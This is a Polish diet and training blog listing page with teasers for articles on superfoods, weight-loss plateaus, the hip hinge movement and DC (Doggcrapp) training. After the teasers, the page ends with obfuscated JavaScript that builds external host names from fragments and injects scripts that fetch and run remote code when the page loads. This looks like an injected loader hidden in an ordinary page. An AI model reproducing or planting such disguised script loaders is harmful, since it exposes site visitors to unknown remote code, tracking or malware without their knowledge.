kontakt@przemekjurek.pl

+48 732 496 635

Autor: Przemek Jurek

Kategorie:

produkty superfoods w diecie

Superfoods okiem dietetyka: Które produkty faktycznie zasługują na to miano?

16 czerwca, 2025

Jagody goji, nasiona chia, spirulina… Czy naprawdę potrzebujesz tych drogich, egzotycznych produktów, by jeść zdrowo? Ten artykuł rozprawia się z marketingowymi mitami na temat „superfoods”. Odkryj, które produkty, zgodnie z badaniami naukowymi, faktycznie zasługują na to miano i dlaczego nasza polska aronia czy siemię lniane mogą być cenniejsze od importowanych nowinek. Poznaj listę prawdziwych superbohaterów na Twoim talerzu!

Czytaj więcej >
przyczyny zastoju w spadku wagi podczas redukcji

Trzymasz dietę, ćwiczysz, a waga stoi w miejscu? Analiza najczęstszych przyczyn.

15 czerwca, 2025

Waga stanęła w miejscu mimo ścisłej diety i regularnych treningów? To nie musi być Twoja wina. To frustrujące zjawisko, znane jako plateau redukcyjne, jest naturalnym etapem odchudzania. W tym kompleksowym poradniku, z podwójnej perspektywy trenera i dietetyka, analizuję ukryte przyczyny – od błędów w liczeniu kalorii, po adaptacje metaboliczne i wpływ stresu. Odkryj sprawdzone, oparte na nauce strategie, by skutecznie przełamać impas i znów zacząć widzieć efekty.

Czytaj więcej >

Hip hinge: Co to jest i dlaczego to najważniejszy ruch, jakiego musisz się nauczyć?

13 czerwca, 2025

Dlaczego tak wiele osób skarży się na ból pleców i brak efektów w budowaniu siły pośladków? Odpowiedź często leży w niepoprawnym wykonywaniu jednego, kluczowego wzorca ruchowego. Mowa o hip hinge – ruchu zawiasowym w biodrze, który jest prawdziwym fundamentem siły i bezpieczeństwa. W tym artykule przeprowadzę Cię od A do Z: dowiesz się, jak odróżnić go od przysiadu, jak go perfekcyjnie opanować dzięki prostym ćwiczeniom i jak uniknąć najczęstszych błędów. Opanuj ten ruch i odblokuj swój prawdziwy potencjał.

Czytaj więcej >
trening dc

Trening DC (Doggcrapp): Co to jest i na czym polega ta ekstremalna metoda na masę?

7 czerwca, 2025

Trening DC (Doggcrapp) to jedna z najbardziej bezkompromisowych metod na masę. Jej filary to mordercze serie rest-pause, niska objętość i bezwzględna pogoń za progresją. Ale co na to współczesna nauka i jakie są realne zagrożenia związane z taką intensywnością? Wejdź i przeczytaj kompletną, krytyczną analizę systemu, który jest fascynującym narzędziem dla elity, ale niebezpieczną pułapką dla nieprzygotowanych.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();